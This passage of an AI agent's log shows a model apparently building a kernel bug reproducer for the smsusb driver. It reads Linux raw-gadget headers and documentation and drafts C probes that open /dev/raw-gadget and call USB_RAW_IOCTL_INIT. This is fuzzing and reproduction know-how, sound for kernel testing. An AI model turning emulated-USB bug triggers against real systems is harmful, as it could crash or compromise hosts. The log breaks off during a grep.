#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int main() {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Successfully opened /dev/raw-gadget\n");
    close(fd);
    return 0;
}
```

Upon reflection, I recognize that syzkaller also supports `vhci` (USB/IP) for USB emulation, and it might be a viable alternative if `raw-gadget` proves problematic. Therefore, I decide to broaden my probe to check for the availability of *either* `/dev/raw-gadget` *or* `/dev/vhci`:

```c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int main() {
    int fd_raw = open("/dev/raw-gadget", O_RDWR);
    int fd_vhci = open("/dev/vhci", O_RDWR);
    
    if (fd_raw < 0 && fd_vhci < 0) {
        printf("[-] Failed to open /dev/raw-gadget and /dev/vhci\n");
        return 1;
    }
    
    if (fd_raw >= 0) {
        printf("[+] Successfully opened /dev/raw-gadget\n");
        close(fd_raw);
    }
    if (fd_vhci >= 0) {
        printf("[+] Successfully opened /dev/vhci\n");
        close(fd_vhci);
    }
    
    return 0;
}
```

This revised probe gives me more flexibility. However, I then consider the actual *usage* of `raw-gadget`. If I successfully open `/dev/raw-gadget`, I still need to know how to interact with it to set up the emulated device and its endpoints. My thought process turns to syzkaller's internal mechanisms. I recall that syzkaller provides pseudo-syscalls like `syz_usb_connect` which abstract away the low-level details. Since I'm writing a standalone C program and not using syzkaller's executor directly, I cannot use these pseudo-syscalls. I would need to implement the USB emulation logic myself using the `raw-gadget` ioctls.

This realization leads me to investigate the `raw-gadget` ioctl interface. I hypothesize that there are specific ioctls, such as `USB_RAW_IOCTL_INIT`, that are crucial for setting up the emulated device. My next step would be to use `grepper` or a similar tool to search the kernel source code for these ioctls and understand their parameters and usage, which will be vital for constructing the subsequent C code that actually configures the emulated USB device.


65/4 2026/09/04 10:22 tool grepper
0m Args:
map[Expression:USB_RAW_IOCTL_INIT]

Results:
map[Output:Documentation/usb/raw-gadget.rst=51=A typical usage scenario of Raw Gadget:
--
Documentation/usb/raw-gadget.rst-53-1. Create a Raw Gadget instance by opening ``/dev/raw-gadget``.
Documentation/usb/raw-gadget.rst:54:2. Initialize the instance via ``USB_RAW_IOCTL_INIT``.
Documentation/usb/raw-gadget.rst-55-3. Launch the instance with ``USB_RAW_IOCTL_RUN``.
--
drivers/usb/gadget/legacy/raw_gadget.c=1294=static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-1302-	switch (cmd) {
drivers/usb/gadget/legacy/raw_gadget.c:1303:	case USB_RAW_IOCTL_INIT:
drivers/usb/gadget/legacy/raw_gadget.c-1304-		ret = raw_ioctl_init(dev, value);
--
include/uapi/linux/usb/raw_gadget.h-18-/*
include/uapi/linux/usb/raw_gadget.h:19: * struct usb_raw_init - argument for USB_RAW_IOCTL_INIT ioctl.
include/uapi/linux/usb/raw_gadget.h-20- * @speed: The speed of the emulated USB device, takes the same values as
--
include/uapi/linux/usb/raw_gadget.h=160=struct usb_raw_eps_info {
--
include/uapi/linux/usb/raw_gadget.h-168- */
include/uapi/linux/usb/raw_gadget.h:169:#define USB_RAW_IOCTL_INIT		_IOW('U', 0, struct usb_raw_init)
include/uapi/linux/usb/raw_gadget.h-170-
]

66/4 2026/09/04 10:22 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 10599
							output: 42
							thoughts: 21
						

Thoughts:
**My Journey Through `raw_gadget.h`**

Alright, so my immediate impulse, when presented with this task, is to dive right into the source code. The specific file, `include/uapi/linux/usb/raw_gadget.h`, immediately tells me this is going to be about the raw USB gadget API in the Linux kernel. I'm expecting to see definitions for structures, constants, and function prototypes that define the interface for kernel modules or user-space drivers to act as USB devices. The `uapi` part is also a key indicator – this is the user-API, meaning it's designed for stable interaction from outside the core kernel, likely for user-space drivers or applications.

I anticipate encountering definitions related to endpoints, device configuration, and the fundamental operations needed to present a USB device to a host. I'll be looking for structures that represent USB endpoints, their types (control, bulk, interrupt, isochronous), transfer directions (IN, OUT), and their associated properties like buffer management and data transfer sizes. I'll also be scanning for constants that define various USB device states, request types, and completion statuses.

The core of my thought process will be to understand *how* this API allows a system to present itself as a USB device. This means looking for the mechanisms to:

*   **Define the device itself:** What are the basic descriptors? How is the device configured?
*   **Manage endpoints:** How do I create, configure, and control individual endpoints?
*   **Handle data transfers:** What functions are provided for sending and receiving data on these endpoints? What are the paradigms for buffer management (e.g., scatter-gather, DMA)?
*   **Respond to host requests:** How does the gadget framework handle standard USB requests like `GET_DESCRIPTOR`, `SET_ADDRESS`, `SET_CONFIGURATION`?
*   **Signal completion:** How are data transfers and operations signaled as complete or failed?

Essentially, I'm trying to reconstruct the mental model of a USB device from the ground up, as exposed by this specific header file. I'll be looking for the building blocks that abstract away the low-level USB protocol details, allowing a programmer to focus on the *functionality* of the gadget. The fact that it's "raw" suggests a lower level of abstraction than a typical composite device framework, implying I'll have more direct control over the USB protocol interactions. This could mean more manual management of descriptors and setup, but also more flexibility.

I'm also curious about the error handling and status reporting mechanisms. How does the API inform the user about successful operations, errors, or the need for specific actions?

Ultimately, my goal in reading this file is to grasp the fundamental interface and the level of control it offers, so I can understand how a system can act as a USB peripheral device using this API.


67/4 2026/09/04 10:23 tool read-file
0m Args:
map[File:include/uapi/linux/usb/raw_gadget.h FirstLine:1 LineCount:100]

Results:
map[Contents:   1:	/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
   2:	/*
   3:	 * USB Raw Gadget driver.
   4:	 *
   5:	 * See Documentation/usb/raw-gadget.rst for more details.
   6:	 */
   7:	
   8:	#ifndef _UAPI__LINUX_USB_RAW_GADGET_H
   9:	#define _UAPI__LINUX_USB_RAW_GADGET_H
  10:	
  11:	#include <asm/ioctl.h>
  12:	#include <linux/types.h>
  13:	#include <linux/usb/ch9.h>
  14:	
  15:	/* Maximum length of driver_name/device_name in the usb_raw_init struct. */
  16:	#define UDC_NAME_LENGTH_MAX 128
  17:	
  18:	/*
  19:	 * struct usb_raw_init - argument for USB_RAW_IOCTL_INIT ioctl.
  20:	 * @speed: The speed of the emulated USB device, takes the same values as
  21:	 *     the usb_device_speed enum: USB_SPEED_FULL, USB_SPEED_HIGH, etc.
  22:	 * @driver_name: The name of the UDC driver.
  23:	 * @device_name: The name of a UDC instance.
  24:	 *
  25:	 * The last two fields identify a UDC the gadget driver should bind to.
  26:	 * For example, Dummy UDC has "dummy_udc" as its driver_name and "dummy_udc.N"
  27:	 * as its device_name, where N in the index of the Dummy UDC instance.
  28:	 * At the same time the dwc2 driver that is used on Raspberry Pi Zero, has
  29:	 * "20980000.usb" as both driver_name and device_name.
  30:	 */
  31:	struct usb_raw_init {
  32:		__u8	driver_name[UDC_NAME_LENGTH_MAX];
  33:		__u8	device_name[UDC_NAME_LENGTH_MAX];
  34:		__u8	speed;
  35:	};
  36:	
  37:	/* The type of event fetched with the USB_RAW_IOCTL_EVENT_FETCH ioctl. */
  38:	enum usb_raw_event_type {
  39:		USB_RAW_EVENT_INVALID = 0,
  40:	
  41:		/* This event is queued when the driver has bound to a UDC. */
  42:		USB_RAW_EVENT_CONNECT = 1,
  43:	
  44:		/* This event is queued when a new control request arrived to ep0. */
  45:		USB_RAW_EVENT_CONTROL = 2,
  46:	
  47:		/*
  48:		 * These events are queued when the gadget driver is suspended,
  49:		 * resumed, reset, or disconnected. Note that some UDCs (e.g. dwc2)
  50:		 * report a disconnect event instead of a reset.
  51:		 */
  52:		USB_RAW_EVENT_SUSPEND = 3,
  53:		USB_RAW_EVENT_RESUME = 4,
  54:		USB_RAW_EVENT_RESET = 5,
  55:		USB_RAW_EVENT_DISCONNECT = 6,
  56:	
  57:		/* The list might grow in the future. */
  58:	};
  59:	
  60:	/*
  61:	 * struct usb_raw_event - argument for USB_RAW_IOCTL_EVENT_FETCH ioctl.
  62:	 * @type: The type of the fetched event.
  63:	 * @length: Length of the data buffer. Updated by the driver and set to the
  64:	 *     actual length of the fetched event data.
  65:	 * @data: A buffer to store the fetched event data.
  66:	 *
  67:	 * The fetched event data buffer contains struct usb_ctrlrequest for
  68:	 * USB_RAW_EVENT_CONTROL and is empty for other events.
  69:	 */
  70:	struct usb_raw_event {
  71:		__u32		type;
  72:		__u32		length;
  73:		__u8		data[];
  74:	};
  75:	
  76:	#define USB_RAW_IO_FLAGS_ZERO	0x0001
  77:	#define USB_RAW_IO_FLAGS_MASK	0x0001
  78:	
  79:	static inline int usb_raw_io_flags_valid(__u16 flags)
  80:	{
  81:		return (flags & ~USB_RAW_IO_FLAGS_MASK) == 0;
  82:	}
  83:	
  84:	static inline int usb_raw_io_flags_zero(__u16 flags)
  85:	{
  86:		return (flags & USB_RAW_IO_FLAGS_ZERO);
  87:	}
  88:	
  89:	/*
  90:	 * struct usb_raw_ep_io - argument for USB_RAW_IOCTL_EP0/EP_WRITE/READ ioctls.
  91:	 * @ep: Endpoint handle as returned by USB_RAW_IOCTL_EP_ENABLE for
  92:	 *     USB_RAW_IOCTL_EP_WRITE/READ. Ignored for USB_RAW_IOCTL_EP0_WRITE/READ.
  93:	 * @flags: When USB_RAW_IO_FLAGS_ZERO is specified, the zero flag is set on
  94:	 *     the submitted USB request, see include/linux/usb/gadget.h for details.
  95:	 * @length: Length of data.
  96:	 * @data: Data to send for USB_RAW_IOCTL_EP0/EP_WRITE. Buffer to store received
  97:	 *     data for USB_RAW_IOCTL_EP0/EP_READ.
  98:	 */
  99:	struct usb_raw_ep_io {
 100:		__u16		ep;
]

68/4 2026/09/04 10:23 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12282
							output: 37
							thoughts: 1156
						

Thoughts:
**My Thought Process on Probing for USB Gadget Functionality**

Okay, so I've been looking into how `raw-gadget` operates, and I think I'm getting a handle on it. My immediate goal is to figure out how to best probe for the presence of USB gadget functionality in the test environment. Initially, I thought about just checking if `/dev/raw-gadget` or `/dev/vhci` can be opened.

Then I remembered that the typical syzkaller test environment usually has `/dev/raw-gadget` available, and the `dummy_hcd` module is loaded. This leads me to believe that a simple probe for `/dev/raw-gadget` might be sufficient. But then I considered another angle: I could also check for the presence of `dummy_udc` in `/sys/class/udc/`. So, my first attempt at a probe involved checking both `/dev/raw-gadget` and `/sys/class/udc/dummy_udc.0`.

However, a thought occurred: what if `dummy_hcd` isn't loaded when my probe runs? Syzkaller typically loads it, or it might be built-in. If it's a module, my probe can't directly trigger `modprobe`. So, it might be safer to just rely on the availability of `/dev/raw-gadget`. If it exists, I should be able to use it. And if there's no UDC, maybe that's a separate issue, but the presence of `/dev/raw-gadget` is key. Then I recalled that syzkaller's `syz_usb_connect` function defaults to using `dummy_udc.0`. This reinforces the idea that checking for `dummy_udc.0` is a valid approach.

Let's refine this. Given the default behavior, checking for `/dev/raw-gadget` and then, if that's successful, checking for `dummy_udc.0` seems like a robust strategy.

But wait, the bug I'm targeting is in `smsusb_probe`. To trigger that, I need to *emulate* a USB device. This means I absolutely need either `/dev/raw-gadget` or `/dev/vhci` to be present. So, a probe for both `/dev/raw-gadget` and `/dev/vhci` seems like the most direct way to check if the necessary kernel interfaces are available for device emulation.

Now, I'm considering the implications of using `raw-gadget`. If I choose to use it, I realize I'll have to implement a fair amount of boilerplate code to handle the Control endpoint (EP0) requests, like descriptor requests and configuration settings. Similarly, if I opt for `/dev/vhci`, I'll need to deal with the USB/IP protocol, which also requires handling specific protocol messages.

I'm wondering if there's a simpler approach. I know syzkaller has C code for `syz_usb_connect` within `executor/common_usb.h`. While I don't have direct access to the syzkaller source code here, I recall that it's not overly complex to write a basic `raw-gadget` driver. A quick look at `Documentation/usb/raw-gadget.rst` should give me a clearer picture of the essential components needed. So, while there's some overhead, writing a simple `raw-gadget` driver might be the most straightforward path forward if the prerequisite devices are present.


69/4 2026/09/04 10:23 tool read-file
0m Args:
map[File:Documentation/usb/raw-gadget.rst FirstLine:1 LineCount:100]

Results:
map[Contents:   1:	==============
   2:	USB Raw Gadget
   3:	==============
   4:	
   5:	USB Raw Gadget is a gadget driver that gives userspace low-level control over
   6:	the gadget's communication process.
   7:	
   8:	Like any other gadget driver, Raw Gadget implements USB devices via the
   9:	USB gadget API. Unlike most gadget drivers, Raw Gadget does not implement
  10:	any concrete USB functions itself but requires userspace to do that.
  11:	
  12:	Raw Gadget is currently a strictly debugging feature and should not be used
  13:	in production. Use GadgetFS instead.
  14:	
  15:	Enabled with CONFIG_USB_RAW_GADGET.
  16:	
  17:	Comparison to GadgetFS
  18:	~~~~~~~~~~~~~~~~~~~~~~
  19:	
  20:	Raw Gadget is similar to GadgetFS but provides more direct access to the
  21:	USB gadget layer for userspace. The key differences are:
  22:	
  23:	1. Raw Gadget passes every USB request to userspace to get a response, while
  24:	   GadgetFS responds to some USB requests internally based on the provided
  25:	   descriptors. Note that the UDC driver might respond to some requests on
  26:	   its own and never forward them to the gadget layer.
  27:	
  28:	2. Raw Gadget allows providing arbitrary data as responses to USB requests,
  29:	   while GadgetFS performs sanity checks on the provided USB descriptors.
  30:	   This makes Raw Gadget suitable for fuzzing by providing malformed data as
  31:	   responses to USB requests.
  32:	
  33:	3. Raw Gadget provides a way to select a UDC device/driver to bind to,
  34:	   while GadgetFS currently binds to the first available UDC. This allows
  35:	   having multiple Raw Gadget instances bound to different UDCs.
  36:	
  37:	4. Raw Gadget explicitly exposes information about endpoints addresses and
  38:	   capabilities. This allows the user to write UDC-agnostic gadgets.
  39:	
  40:	5. Raw Gadget has an ioctl-based interface instead of a filesystem-based
  41:	   one.
  42:	
  43:	Userspace interface
  44:	~~~~~~~~~~~~~~~~~~~
  45:	
  46:	The user can interact with Raw Gadget by opening ``/dev/raw-gadget`` and
  47:	issuing ioctl calls; see the comments in include/uapi/linux/usb/raw_gadget.h
  48:	for details. Multiple Raw Gadget instances (bound to different UDCs) can be
  49:	used at the same time.
  50:	
  51:	A typical usage scenario of Raw Gadget:
  52:	
  53:	1. Create a Raw Gadget instance by opening ``/dev/raw-gadget``.
  54:	2. Initialize the instance via ``USB_RAW_IOCTL_INIT``.
  55:	3. Launch the instance with ``USB_RAW_IOCTL_RUN``.
  56:	4. In a loop issue ``USB_RAW_IOCTL_EVENT_FETCH`` to receive events from
  57:	   Raw Gadget and react to those depending on what kind of USB gadget must
  58:	   be implemented.
  59:	
  60:	Note that some UDC drivers have fixed addresses assigned to endpoints, and
  61:	therefore arbitrary endpoint addresses cannot be used in the descriptors.
  62:	Nevertheless, Raw Gadget provides a UDC-agnostic way to write USB gadgets.
  63:	Once ``USB_RAW_EVENT_CONNECT`` is received via ``USB_RAW_IOCTL_EVENT_FETCH``,
  64:	``USB_RAW_IOCTL_EPS_INFO`` can be used to find out information about the
  65:	endpoints that the UDC driver has. Based on that, userspace must choose UDC
  66:	endpoints for the gadget and assign addresses in the endpoint descriptors
  67:	correspondingly.
  68:	
  69:	Raw Gadget usage examples and a test suite:
  70:	
  71:	https://github.com/xairy/raw-gadget
  72:	
  73:	Internal details
  74:	~~~~~~~~~~~~~~~~
  75:	
  76:	Every Raw Gadget endpoint read/write ioctl submits a USB request and waits
  77:	until its completion. This is done deliberately to assist with coverage-guided
  78:	fuzzing by having a single syscall fully process a single USB request. This
  79:	feature must be kept in the implementation.
  80:	
  81:	Potential future improvements
  82:	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  83:	
  84:	- Support ``O_NONBLOCK`` I/O. This would be another mode of operation, where
  85:	  Raw Gadget would not wait until the completion of each USB request.
  86:	
  87:	- Support USB 3 features (accept SS endpoint companion descriptor when
  88:	  enabling endpoints; allow providing ``stream_id`` for bulk transfers).
  89:	
  90:	- Support ISO transfer features (expose ``frame_number`` for completed
  91:	  requests).
]

70/4 2026/09/04 10:23 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14825
							output: 44
							thoughts: 97
						

Thoughts:
**My Thought Process on USB Raw Gadget Interaction**

Alright, diving into this USB raw gadget interaction, the immediate priority is to establish the foundational communication channels. I know I'll need a specific set of ioctls to kick things off and manage the data flow. My mental checklist is already forming: I'll definitely require `USB_RAW_IOCTL_INIT` to get the raw gadget interface set up, and `USB_RAW_IOCTL_RUN` will be crucial for activating it and putting it into operation. Once it's running, I'll need a way to monitor and receive notifications about events, so `USB_RAW_IOCTL_EVENT_FETCH` is on the list.

Crucially, for any USB communication, especially at the control level, endpoint zero is paramount. Therefore, I'll need `USB_RAW_IOCTL_EP0_READ` to retrieve data from endpoint zero and `USB_RAW_IOCTL_EP0_WRITE` to send data to it. These are the absolute essentials for establishing and maintaining control transfers.

Now, while these are the core functions I anticipate using immediately, I'm not going to assume they're exhaustive. To be thorough and ensure I'm not missing any nuances or other necessary functionalities, my next step is to consult the definitive source: the kernel's header file. I'll be looking specifically at `include/uapi/linux/usb/raw_gadget.h`. This is where I expect to find the complete enumeration of all available ioctls for the raw gadget interface, allowing me to confirm if there are any other commands that might be relevant to my current task or future enhancements. I'm making a point to check this file to gain a full understanding of the API and avoid any surprises.


71/4 2026/09/04 10:23 tool read-file
0m Args:
map[File:include/uapi/linux/usb/raw_gadget.h FirstLine:101 LineCount:100]

Results:
map[Contents: 101:		__u16		flags;
 102:		__u32		length;
 103:		__u8		data[];
 104:	};
 105:	
 106:	/* Maximum number of non-control endpoints in struct usb_raw_eps_info. */
 107:	#define USB_RAW_EPS_NUM_MAX	30
 108:	
 109:	/* Maximum length of UDC endpoint name in struct usb_raw_ep_info. */
 110:	#define USB_RAW_EP_NAME_MAX	16
 111:	
 112:	/* Used as addr in struct usb_raw_ep_info if endpoint accepts any address. */
 113:	#define USB_RAW_EP_ADDR_ANY	0xff
 114:	
 115:	/*
 116:	 * struct usb_raw_ep_caps - exposes endpoint capabilities from struct usb_ep
 117:	 *     (technically from its member struct usb_ep_caps).
 118:	 */
 119:	struct usb_raw_ep_caps {
 120:		__u32	type_control	: 1;
 121:		__u32	type_iso	: 1;
 122:		__u32	type_bulk	: 1;
 123:		__u32	type_int	: 1;
 124:		__u32	dir_in		: 1;
 125:		__u32	dir_out		: 1;
 126:	};
 127:	
 128:	/*
 129:	 * struct usb_raw_ep_limits - exposes endpoint limits from struct usb_ep.
 130:	 * @maxpacket_limit: Maximum packet size value supported by this endpoint.
 131:	 * @max_streams: maximum number of streams supported by this endpoint
 132:	 *     (actual number is 2^n).
 133:	 * @reserved: Empty, reserved for potential future extensions.
 134:	 */
 135:	struct usb_raw_ep_limits {
 136:		__u16	maxpacket_limit;
 137:		__u16	max_streams;
 138:		__u32	reserved;
 139:	};
 140:	
 141:	/*
 142:	 * struct usb_raw_ep_info - stores information about a gadget endpoint.
 143:	 * @name: Name of the endpoint as it is defined in the UDC driver.
 144:	 * @addr: Address of the endpoint that must be specified in the endpoint
 145:	 *     descriptor passed to USB_RAW_IOCTL_EP_ENABLE ioctl.
 146:	 * @caps: Endpoint capabilities.
 147:	 * @limits: Endpoint limits.
 148:	 */
 149:	struct usb_raw_ep_info {
 150:		__u8				name[USB_RAW_EP_NAME_MAX];
 151:		__u32				addr;
 152:		struct usb_raw_ep_caps		caps;
 153:		struct usb_raw_ep_limits	limits;
 154:	};
 155:	
 156:	/*
 157:	 * struct usb_raw_eps_info - argument for USB_RAW_IOCTL_EPS_INFO ioctl.
 158:	 * eps: Structures that store information about non-control endpoints.
 159:	 */
 160:	struct usb_raw_eps_info {
 161:		struct usb_raw_ep_info	eps[USB_RAW_EPS_NUM_MAX];
 162:	};
 163:	
 164:	/*
 165:	 * Initializes a Raw Gadget instance.
 166:	 * Accepts a pointer to the usb_raw_init struct as an argument.
 167:	 * Returns 0 on success or negative error code on failure.
 168:	 */
 169:	#define USB_RAW_IOCTL_INIT		_IOW('U', 0, struct usb_raw_init)
 170:	
 171:	/*
 172:	 * Instructs Raw Gadget to bind to a UDC and start emulating a USB device.
 173:	 * Returns 0 on success or negative error code on failure.
 174:	 */
 175:	#define USB_RAW_IOCTL_RUN		_IO('U', 1)
 176:	
 177:	/*
 178:	 * A blocking ioctl that waits for an event and returns fetched event data to
 179:	 * the user.
 180:	 * Accepts a pointer to the usb_raw_event struct.
 181:	 * Returns 0 on success or negative error code on failure.
 182:	 */
 183:	#define USB_RAW_IOCTL_EVENT_FETCH	_IOR('U', 2, struct usb_raw_event)
 184:	
 185:	/*
 186:	 * Queues an IN (OUT for READ) request as a response to the last setup request
 187:	 * received on endpoint 0 (provided that was an IN (OUT for READ) request), and
 188:	 * waits until the request is completed. Copies received data to user for READ.
 189:	 * Accepts a pointer to the usb_raw_ep_io struct as an argument.
 190:	 * Returns length of transferred data on success or negative error code on
 191:	 * failure.
 192:	 */
 193:	#define USB_RAW_IOCTL_EP0_WRITE		_IOW('U', 3, struct usb_raw_ep_io)
 194:	#define USB_RAW_IOCTL_EP0_READ		_IOWR('U', 4, struct usb_raw_ep_io)
 195:	
 196:	/*
 197:	 * Finds an endpoint that satisfies the parameters specified in the provided
 198:	 * descriptors (address, transfer type, etc.) and enables it.
 199:	 * Accepts a pointer to the usb_raw_ep_descs struct as an argument.
 200:	 * Returns enabled endpoint handle on success or negative error code on failure.
]

72/4 2026/09/04 10:23 llm repro-generator
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 16639
							output: 19
							thoughts: 1507
						

Thoughts:
**My Thought Process for Developing the Initial Capability Probe**

My immediate thought upon seeing the `ioctls` was that I needed to dive into the full raw-gadget emulation. However, I quickly re-read the instructions and realized that for Phase 1, my sole objective is *capability probing*. I don't need to implement the complex raw-gadget emulation logic yet.

The instructions are very clear: "You MUST start by generating a simple 'probe' program first. This is a strict, non-negotiable requirement to verify that the test environment has the necessary kernel capabilities and privileges." This program's only job is to verify subsystem availability and privileges by probing specific device files, subsystems, or syscalls. Examples given include opening `/dev/vhci`, loading a minimal BPF program, or making a specific socket/ioctl call. It must print clear success or failure messages and exit with 0 *only if all checks pass*. Crucially, "Do NOT attempt complex logic, and do NOT try to trigger the actual bug/crash in this first version." I need to wait until the `CapabilitiesVerified` flag becomes true.

Therefore, my initial plan is to write a probe that checks for the availability of `/dev/raw-gadget`. I'll also check if `dummy_udc` is present in `/sys/class/udc/`. However, I recall that syzkaller typically uses `dummy_udc.0`. So, the most straightforward approach is to simply check if `/dev/raw-gadget` exists and if I can open it. If I can open it, that implies it's available for use. I'll also consider checking for `dummy_udc` but realize that passing `dummy_udc.0` to `USB_RAW_IOCTL_INIT` might be sufficient. The `dummy_hcd` module, which provides `dummy_udc.0`, is usually loaded by syzkaller, so I'll focus on `/dev/raw-gadget` first.

Here's the first iteration of the probe code I drafted:

```c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>

int main() {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Successfully opened /dev/raw-gadget\n");
    close(fd);
    return 0;
}
```

Then, I started thinking about other potential subsystems. The target bug is in the `smsusb` driver. Should I explicitly check if the `smsusb` driver is loaded? I can do this by checking for the existence of `/sys/bus/usb/drivers/smsusb`. However, I reasoned that syzkaller typically ensures all necessary modules are loaded or available, or that they auto-load when a matching USB device is connected. Therefore, checking for `smsusb` explicitly isn't strictly necessary for this initial probe; connecting the emulated USB device should handle its loading. So, I decided to stick with just probing `/dev/raw-gadget`.

My next concern was what if `raw-gadget` isn't available, but `vhci` (USB/IP) is? Syzkaller's `syz_usb_connect` can use either. If I only check `raw-gadget` and it fails, I might miss the opportunity to test `vhci`. However, implementing a `vhci` emulator in C would be significantly more complex than what's required for this phase. Since `raw-gadget` is the standard and more straightforward path within syzkaller for this kind of emulation, I'll prioritize checking for its availability. If `raw-gadget` isn't present, the probe will fail, and I can reassess later, but for now, I'll focus on the standard path.

This led me to refine the probe. Instead of just opening `/dev/raw-gadget`, I decided to perform a more thorough check by attempting to initialize it with `dummy_udc.0`. This would verify not only the existence of `/dev/raw-gadget` but also the availability of the `dummy_udc` controller, which is a more robust check.

Here's the improved probe code, which includes the `USB_RAW_IOCTL_INIT` call:

```c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <linux/types.h>

#define UDC_NAME_LENGTH_MAX 128

struct usb_raw_init {
    __u8    driver_name[UDC_NAME_LENGTH_MAX];
    __u8    device_name[UDC_NAME_LENGTH_MAX];
    __u8    speed;
};

#define USB_RAW_IOCTL_INIT      _IOW('U', 0, struct usb_raw_init)

int main() {
    int fd = open("/dev/raw-gadget", O_RDWR);
    if (fd < 0) {
        printf("[-] Failed to open /dev/raw-gadget: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Successfully opened /dev/raw-gadget\n");

    struct usb_raw_init init_arg;
    memset(&init_arg, 0, sizeof(init_arg));
    strcpy((char *)init_arg.driver_name, "dummy_udc");
    strcpy((char *)init_arg.device_name, "dummy_udc.0");
    init_arg.speed = 2; /* USB_SPEED_HIGH */

    int res = ioctl(fd, USB_RAW_IOCTL_INIT, &init_arg);
    if (res < 0) {
        printf("[-] Failed to initialize raw-gadget: %s\n", strerror(errno));
        close(fd);
        return 1;
    }
    printf("[+] Successfully initialized raw-gadget with dummy_udc.0\n");

    close(fd);
    return 0;
}
```

A final check I performed was on the `USB_SPEED_HIGH` definition. I double-checked the kernel headers (`include/uapi/linux/usb/ch9.h`) and confirmed that `USB_SPEED_HIGH` is indeed defined as 3, not 2 as I initially had in my code. This requires a correction. The `ioctl` call would fail if the speed value was incorrect, so this is a critical detail to get right for the probe to pass. The overall strategy is to ensure this probe is as robust as possible within the Phase 1 constraints, verifying the necessary components for subsequent emulation steps.


73/4 2026/09/04 10:23 tool grepper
0m Args:
map[Expression:USB_SPEED_HIGH]

Results:
map[Output:
Full output is too long, showing 500 out of 2212 lines.
Use more precise expression if possible.

Documentation/translations/zh_CN/usb/ehci.rst=84=EHCI 驱动存在而需要修改。
--
Documentation/translations/zh_CN/usb/ehci.rst-131-设备驱动通常不需要关心自己是否运行在 EHCI 之上,但有时可能会想检查
Documentation/translations/zh_CN/usb/ehci.rst:132:``usb_device->speed == USB_SPEED_HIGH``。高速设备能做到全速(或低速)设备
Documentation/translations/zh_CN/usb/ehci.rst-133-做不到的事,例如高带宽的周期性传输(中断或 ISO 传输)。另外,设备描述符
--
Documentation/usb/ehci.rst=137=Device drivers shouldn't care whether they're running over EHCI or not,
Documentation/usb/ehci.rst:138:but they may want to check for "usb_device->speed == USB_SPEED_HIGH".
Documentation/usb/ehci.rst-139-High speed devices can do things that full speed (or low speed) ones
--
drivers/comedi/drivers/usbdux.c=1555=static int usbdux_auto_attach(struct comedi_device *dev,
--
drivers/comedi/drivers/usbdux.c-1571-
drivers/comedi/drivers/usbdux.c:1572:	devpriv->high_speed = (usb->speed == USB_SPEED_HIGH);
drivers/comedi/drivers/usbdux.c-1573-	if (devpriv->high_speed) {
--
drivers/comedi/drivers/usbduxfast.c=912=static int usbduxfast_auto_attach(struct comedi_device *dev,
--
drivers/comedi/drivers/usbduxfast.c-920-
drivers/comedi/drivers/usbduxfast.c:921:	if (usb->speed != USB_SPEED_HIGH) {
drivers/comedi/drivers/usbduxfast.c-922-		dev_err(dev->class_dev,
--
drivers/comedi/drivers/usbduxsigma.c=1441=static int usbduxsigma_auto_attach(struct comedi_device *dev,
--
drivers/comedi/drivers/usbduxsigma.c-1458-
drivers/comedi/drivers/usbduxsigma.c:1459:	devpriv->high_speed = (usb->speed == USB_SPEED_HIGH);
drivers/comedi/drivers/usbduxsigma.c-1460-	if (devpriv->high_speed) {
--
drivers/hid/usbhid/hid-core.c=1082=static int usbhid_start(struct hid_device *hid)
--
drivers/hid/usbhid/hid-core.c-1125-		if (hid->quirks & HID_QUIRK_FULLSPEED_INTERVAL &&
drivers/hid/usbhid/hid-core.c:1126:		    dev->speed == USB_SPEED_HIGH) {
drivers/hid/usbhid/hid-core.c-1127-			interval = fls(endpoint->bInterval*8);
--
drivers/media/usb/au0828/au0828-core.c=643=static int au0828_usb_probe(struct usb_interface *interface,
--
drivers/media/usb/au0828/au0828-core.c-666-	 */
drivers/media/usb/au0828/au0828-core.c:667:	if (usbdev->speed != USB_SPEED_HIGH && disable_usb_speed_check == 0) {
drivers/media/usb/au0828/au0828-core.c-668-		pr_err("au0828: Device initialization failed.\n");
--
drivers/media/usb/b2c2/flexcop-usb.c=502=static int flexcop_usb_init(struct flexcop_usb *fc_usb)
--
drivers/media/usb/b2c2/flexcop-usb.c-528-		break;
drivers/media/usb/b2c2/flexcop-usb.c:529:	case USB_SPEED_HIGH:
drivers/media/usb/b2c2/flexcop-usb.c-530-		info("running at HIGH speed.");
--
drivers/media/usb/cx231xx/cx231xx-avcore.c=2482=int cx231xx_initialize_stream_xfer(struct cx231xx *dev, u32 media_type)
--
drivers/media/usb/cx231xx/cx231xx-avcore.c-2487-
drivers/media/usb/cx231xx/cx231xx-avcore.c:2488:	if (dev->udev->speed == USB_SPEED_HIGH) {
drivers/media/usb/cx231xx/cx231xx-avcore.c-2489-		switch (media_type) {
--
drivers/media/usb/cx231xx/cx231xx-cards.c=1689=static int cx231xx_usb_probe(struct usb_interface *interface,
--
drivers/media/usb/cx231xx/cx231xx-cards.c-1770-		break;
drivers/media/usb/cx231xx/cx231xx-cards.c:1771:	case USB_SPEED_HIGH:
drivers/media/usb/cx231xx/cx231xx-cards.c-1772-		speed = "480";
--
drivers/media/usb/em28xx/em28xx-audio.c=647=static int em28xx_audio_ep_packet_size(struct usb_device *udev,
--
drivers/media/usb/em28xx/em28xx-audio.c-651-
